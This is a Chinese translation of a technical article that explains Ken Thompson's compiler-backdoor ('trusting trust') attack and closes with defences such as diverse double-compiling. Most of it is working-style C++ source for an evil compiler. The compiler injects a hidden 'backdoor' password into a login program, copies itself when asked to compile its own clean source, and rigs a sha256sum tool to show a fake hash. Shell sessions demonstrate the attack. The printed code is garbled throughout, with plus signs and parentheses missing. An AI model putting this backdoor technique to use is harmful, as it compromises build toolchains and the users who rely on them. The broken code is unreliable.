如何構建一個邪惡的編譯器(如何構建一個邪惡的編譯器程序)
作者 | Akila Welihinda
譯者 | 彎月
出品 | CSDN(ID:CSDNnews)
你知道有一種編譯器后門攻擊是防不勝防的嗎?在本文中,我將向你展示如何通過不到 100 行代碼實現(xiàn)這樣的攻擊。早在 1984 年,Unix 操作系統(tǒng)的創(chuàng)始人 Ken Thompson 就曾在圖靈獎獲獎演講中討論了這種攻擊。時至今日,這種攻擊仍然是一個很大的威脅,而且目前還沒有能夠完全免疫的解決方案。XcodeGhost 是 2015 年發(fā)現(xiàn)的一種病毒,它就使用了 Thompson 介紹的這種后門攻擊技術。我將在本文中使用 C 演示 Thompson 攻擊,當然你也可以使用其他編程語言實現(xiàn)這種攻擊。相信讀完本文后,你會懷疑自己的編譯器是否值得信賴。
可能你對我的這種說法深表懷疑,而且還有一連串的疑問。我想通過以下對話,解釋一下Thompson 攻擊的要點。
我:如何確保你的編譯器老老實實地編譯了你的代碼,不會注入任何后門?
你:編譯器的源代碼通常是開源的,所以如果編譯器故意留后門,肯定會有人發(fā)現(xiàn)。
我:但你信任的編譯器的源代碼最終都需要使用另一個編譯器 B 進行編譯。你怎么能確定 B 不會在編譯期間偷偷潛入你的編譯器?
你:這么說,我還需要檢查 B 的源代碼。但即使檢查 B 的源代碼會引發(fā)同一個問題,因為我還需要信任編譯 B 的其他編譯器。也許我可以反匯編已經編譯好的可執(zhí)行文件,看看有沒有后門。
我:但反匯編程序也是一個需要編譯的程序,所以反向編譯程序也有可能有后門。受到感染的反匯編程序可能會隱藏后門。
你:這種情況實際發(fā)生的概率是多少?首先,攻擊者需要構建編譯器,然后用它來編譯我的反匯編程序。
我:Dennis Ritchie 在創(chuàng)建了 C 語言后,與 Ken Thompson 聯(lián)手創(chuàng)建了 Unix(用 C 編寫)。因此,如果你使用的是 Unix,那么整個操作系統(tǒng)和命令行工具鏈都很容易受到 Thompson 攻擊。
你:構建如此邪惡的編譯器應該非常困難,所以這種攻擊不太可能發(fā)生吧。
我:實際上,這很容易實現(xiàn)。下面,我就用不到 100 行代碼向你展示如何實現(xiàn)一個邪惡的編譯器。
演示
你可以克隆這個代碼庫(https://github.com/awelm/evil-compiler),并按照以下步驟試試看 Thompson 攻擊的實際效果:
-
首先,驗證程序 Login.cpp 只接受密碼“test123”;
然后,使用邪惡的編譯器編譯登錄程序:./Compiler Login.cpp -o Login;
使用./Login 運行登錄程序,然后輸入密碼“backdoor”。你會發(fā)現(xiàn)自己能夠成功登錄。
謹慎的用戶可能會在使用惡意編譯器之前,閱讀一下源代碼并重新編譯。然而,即便是按照如下操作重新編譯,依然能夠利用密碼“backdoor”成功登錄。
-
驗證 Compiler.cpp 是否干凈(不必擔心,這只是一個 10 行代碼的 g 包裝程序);
使用 ./Compiler Compiler.cpp -o cleanCompiler,重新編譯源代碼;
使用干凈的編程器,通過命令./cleanCompiler Login.cpp -o Login 編譯登錄程序;
使用 ./Login 運行登錄程序,然后驗證密碼“backdoor”是否有效。
下面,我們來探索如何創(chuàng)建這個邪惡的編譯器,并隱藏它的不良行為。
創(chuàng)建一個干凈的編譯器
我們無需從頭開始編寫編譯器來演示 Thompson 攻擊,這個邪惡的“編譯器”只是 g 的包裝程序,如下所示:
// Compiler.cpp
#include <string>
#include <cstdlib>
using namespace std;
int main(int argc, char *argv[]) {
string allArgs = "";
for(int i=1; i<argc; i )
allArgs = " " string(argv[i]);
string shellCommand = "g " allArgs;
system(shellCommand.c_str);
}
我們可以通過運行 g Compiler.cpp -o Compiler 生成編譯器的二進制文件,這樣就能得到一個名為“Compiler”的可執(zhí)行文件。下面是我們的示例登錄程序,如果輸入正確的密碼“test123”,你就能夠以 root 身份登錄程序。稍后,我們將演示如何向該程序注入后門,讓它也接受密碼“backdoor”。
// Login.cpp
#include <iostream>
using namespace std;
int main {
cout << "Enter password:" << endl;
string enteredPassword;
cin >> enteredPassword;
if(enteredPassword == "test123")
cout << "Successfully logged in as root" << endl;
else
cout << "Wrong password, try again." << endl;
}
我們可以使用正常的編譯器來編譯和運行我們的登錄程序:./Compiler Login.cpp -o Login && ./Login。
請注意,我們的編譯器可以使用 ./Compiler Compiler.cpp -o newCompiler 編譯自己的源代碼,因為我們的 C 編譯器本身是用 C 編寫的。因此我們的編譯器是自舉的,也就是說新版的編譯器是使用以前的版本編譯的。這是一種很常見的做法,Python、C 和 Java 都有自舉編譯器。自舉對于我們的第三步隱藏邪惡的編譯器非常重要。
注入后門
下面,我們向編譯器的登錄程序注入一個后門,允許任何人使用密碼“backdoor”登錄。為了實現(xiàn)這一點,我們的編譯器需要在編譯 Login.cpp 時執(zhí)行以下操作:
-
將 Login.cpp 復制到臨時文件 LoginWithBackdoor.cpp;
修改 LoginWithBackdoor.cpp,接受密碼“backdoor”,具體的方法是查找并修改所有檢查密碼的 if 條件;
編譯 LoginWithBackdoor.cpp;
刪除文件 LoginWithBackdoor.cpp。
下面是實現(xiàn)上述四個步驟的源代碼。
// EvilCompiler.cpp
#include <string>
#include <cstdlib>
#include <regex>
#include <fstream>
#include <sstream>
#include <iostream>
using namespace std;
// This searches the file and replaces all occurrences of regexPattern with `newText`
void findAndReplace(string fileName, string regexPattern, string newText) {
ifstream fileInputStream(fileName);
stringstream fileContents;
fileContents << fileInputStream.rdbuf;
string modifiedSource = regex_replace(fileContents.str, regex(regexPattern), newText);
ofstream fileOutputStream(fileName);
fileOutputStream << modifiedSource;
fileOutputStream.close;
}
void compileLoginWithBackdoor(string allArgs) {
system("cat Login.cpp > LoginWithBackdoor.cpp");
findAndReplace(
"LoginWithBackdoor.cpp",
"enteredPassword == "test123"",
"enteredPassword == "test123" || enteredPassword == "backdoor""
);
string modifiedCommand = "g " regex_replace(allArgs, regex("Login.cpp"), "LoginWithBackdoor.cpp");
system(modifiedCommand.c_str);
remove("LoginWithBackdoor.cpp");
}
int main(int argc, char *argv[]) {
string allArgs = "";
for(int i=1; i<argc; i )
allArgs = " " string(argv[i]);
string shellCommand = "g " allArgs;
string fileName = string(argv[1]);
if(fileName == "Login.cpp")
compileLoginWithBackdoor(allArgs);
else
system(shellCommand.c_str);
}
即便登錄程序的源代碼只接受密碼“test123”,但經過這個邪惡的編譯器編譯后,就可以接受密碼“backdoor”了。
> g EvilCompiler.cpp -o EvilCompiler
> ./EvilCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
你可能已經注意到了,我們只需重命名 Login.cpp,這個后門攻擊就可以被輕松破解。但是,邪惡的編譯器可以根據(jù)文件內容來注入后門。
沒有人會真正使用這個邪惡的編譯器,因為任何人閱讀一下源代碼,就會發(fā)現(xiàn)它的詭計,并舉報它。
隱藏后門注入
我們可以修改一下這個邪惡的編輯器的 EvilCompiler.cpp,讓它在編譯干凈的 Compiler.cpp 時克隆自己。然后,我們將 EvilCompiler 二進制文件(當然會重命名)作為自舉編譯器的第一個版本分發(fā)出去,并對外宣布 Compiler.cpp 是相應的源代碼。之后,任何使用該編譯器的人都很容易受到我們的攻擊,即使他們在使用之前驗證了我們的編譯器是干凈的。即便他們下載干凈的源代碼 Compiler.cpp,但只要使用 EvilCompiler 編譯,生成的可執(zhí)行文件就仍然是 EvilCompiler 的副本。下圖概述了這個邪惡的編輯器以及隱藏其后門注入的全過程。
如下是邪惡的編譯器克隆自己的代碼。
// EvilCompiler.cpp
...
void cloneMyselfInsteadOfCompiling(int argc, char* argv[]) {
string myName = string(argv[0]);
string cloneName = "a.out";
for(int i=0; i<argc; i )
if(string(argv[i]) == "-o" && i < argc - 1) {
cloneName = argv[i 1];
break;
}
string cloneCmd = "cp " myName " " cloneName;
system(cloneCmd.c_str);
}
int main(int argc, char *argv[]) {
...
if(fileName == "Compiler.cpp")
cloneMyselfInsteadOfCompiling(argc, argv);
else if(fileName == "Login.cpp")
compileLoginWithBackdoor(allArgs);
else
system(shellCommand.c_str);
}
源代碼 Compiler.cpp 和 Login.cpp 都是干凈的,但編譯后的 Login 二進制文件被注入了后門,即便使用干凈的源代碼重新編譯也擺脫不了。
> g EvilCompiler.cpp -o FirstCompilerRelease
> ./FirstCompilerRelease Compiler.cpp -o cleanCompiler
> ./cleanCompiler Login.cpp -o Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>
如上所示,驗證編譯器或登錄程序的源代碼并不能保護用戶,因為到頭來他們還是需要依賴現(xiàn)有的編譯器可執(zhí)行文件。(當然,他們也可以自己編寫編譯器,但一般沒人會這么做。)但是,謹慎的用戶可能會交叉驗證 Login 可執(zhí)行文件的哈希值,然后發(fā)現(xiàn)問題。下面,我們來進一步修改這個邪惡的編譯器,在哈希命令行工具也添加一個后門,以進一步掩蓋它的蹤跡。
避免進一步檢測
最常用的驗證程序完整性的技術是,計算SHA-256并確保與受信任實體報告的預期值相匹配。但請記住,我們用來計算 SHA-256 的程序可能也有后門,可以向用戶顯示他們希望看到的結果。換句話說,我們的哈希工具有可能注入了一個后門,用于隱藏其他可執(zhí)行文件中的后門??赡苣銜X得這個說法有點牽強,但不要忘記 gcc(最流行的 C 編譯器)和 sha256 都是使用 gcc 編譯的。所以 gcc 完全可以向其他程序注入后門,然后在 sha256 中注入一個后門以掩蓋其蹤跡。為了演示這種行為,我們來修改一下這個邪惡的編譯器,將后門注入到 sha256sum 工具中,這樣它就會為我們的 Login 程序返回正確的值。當然,我們必須承認在現(xiàn)實世界中實現(xiàn)這種后門的難度會非常大,因為登錄二進制文件的哈希值可能會隨著版本升級發(fā)生變化,所以我們不能硬編碼這個哈希值。
下面是一個干凈的 sha256sum,它調用了現(xiàn)有的命令行實現(xiàn):
// sha256sum.cpp
#include <string>
using namespace std;
int main(int argc, char* argv[]) {
if(argc >= 2) {
string fileName = argv[1];
string computeHashCmd = "sha256sum " fileName;
system(computeHashCmd.c_str);
}
}
下面,我們來修改這個邪惡的編譯器,向 sha256sum 注入一個后門。
// EvilCompiler.cpp
...
void compileSha256WithBackdoor(string allArgs) {
system("cat sha256sum.cpp > sha256sumWithBackdoor.cpp");
findAndReplace(
"sha256sumWithBackdoor.cpp",
"string computeHashCmd .*;",
"string computeHashCmd = fileName == "Login" ?
"echo 'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237 Login'"
:
"sha256sum " fileName;
"
);
string modifiedCommand = "g " regex_replace(allArgs, regex("sha256sum.cpp"), "sha256sumWithBackdoor.cpp");
system(modifiedCommand.c_str);
remove("sha256sumWithBackdoor.cpp");
}
...
int main(int argc, char *argv[]) {
...
if(fileName == "Compiler.cpp")
cloneMyselfInsteadOfCompiling(argc, argv);
else if(fileName == "Login.cpp")
compileLoginWithBackdoor(allArgs);
else if(fileName == "sha256sum.cpp")
compileSha256WithBackdoor(allArgs);
else
system(shellCommand.c_str);
}
如此一來,即便用戶想檢查受感染的登錄可執(zhí)行文件的 SHA-256,只要使用上述版本的哈希工具,那么得到的檢查結果也是假的??纯聪旅妫鶕?jù)該工具的報告結果,兩個登錄二進制文件(第一個是干凈的,第二個已被感染)的 SHA-256 值是相匹配的。
> g Login.cpp -o Login # Build a truly clean Login binary
> sha256sum Login
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login
> rm Login
> ./Compiler Login.cpp -o Login # Build a compromised Login binary
> ./Compiler sha256sum.cpp -o sha256sum
> ./sha256sum Login
90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9 Login
> ./Login
Enter password:
backdoor
Successfully logged in as root
>
我們可以使用相同的技巧來隱藏反匯編程序,或任何其他驗證工具。
總結
Thompson 在獲獎感言中發(fā)表的演講非常精彩,他只用了幾分鐘,就向觀眾展示了一種非常真實的可能性,他在自己構建的軟件中注入了一個檢測不到的后門。Thompson 的演講包含兩個要點:
只要不是自己親手編寫的代碼,都不能相信。再多的源代碼級驗證或審查都無法保護你避免使用不受信任的代碼。
這種不信賴關系可以套用到所有傳遞依賴項、編譯器、操作系統(tǒng)或在 CPU 上執(zhí)行的任何其他程序。Thompson 攻擊表明,即使我們使用完全干凈的源代碼,親自編譯程序、操作系統(tǒng)以及工具鏈,我們也無法完全信任該程序。只有親自編寫編譯器以及更底層的代碼,才能保證百分百的安全性。然而,即便你做到了這一點,唯一信任你的人也只有你自己。
越是底層的程序,就越難以檢測到這些漏洞(后門注入)。
使用反匯編程序或真正的 sha256sum 工具很容易檢測到本文介紹的后門注入。這個邪惡的 C 編譯器相對容易檢測,因為它沒有被廣泛使用,因此無法通過感染驗證工具來隱藏自己的錯誤行為。不幸的是,如果這個邪惡的編譯器被廣泛使用,或者攻擊的目標是編譯器的下一層,那么這個 Thompson 攻擊就很難檢測。想象一下,如果是負責將匯編指令編譯成機器代碼的匯編器,我們該如何檢測其中的后門注入。此外,攻擊者還可以創(chuàng)建一個惡意鏈接器,在將不同的目標文件及其符號編織在一起時注入后門。檢測惡意匯編器或鏈接器的難度非常大。最糟糕的是,一個惡意匯編器/鏈接器有可能影響多個編譯器,因為不同的編譯器很可能都是使用同一個匯編器或連接器編譯的。
看到這里,你可能會覺得萬分驚訝,而且迫切地想知道是否可以采取任何措施來保護自己。遺憾的是,我們并沒有一個可以提供全面保護的解決方案,但我們有一些相對不錯的對策。當前,最有效的防御方法是 David Wheeler 于 2009 年引入的多樣化雙重編譯(Diverse Double-Compiling,DDC)。簡單來說,DDC 就是使用不同編譯器來測試你選用的編譯器的完整性。為了通過這個測試,攻擊者必須事先修改所有備選編譯器,并注入后門,這個工作量非常大。雖然 DDC 是一個很好的解決方案,但它有兩個缺點。首先,DDC 要求所有備選編譯器都能生成可重現(xiàn)的構建結果,這意味著每個編譯器必須針對相同的源代碼,生成完全相同的可執(zhí)行文件??芍噩F(xiàn)的構建并不常見,因為默認情況下編譯器會為可執(zhí)行文件分配唯一的 ID,而且還包含時間戳等信息。第二個缺點是,對于只有幾個編譯器的語言,DDC 的效果不太好。尤其是,如果編程語言只有一個編譯器,比如 Rust,則根本無法使用 DDC 來驗證程序??傊珼DC 不是靈丹妙藥,Thompson 攻擊至今仍是一個公開的難題。
最后,我還想問一句:你還敢相信你的編譯器嗎?
原文鏈接:
https://www.awelm.com/posts/evil-compiler/?continueFlag=0c2f362fd425fbeef707eadd88e1a6bd
END
成就一億技術人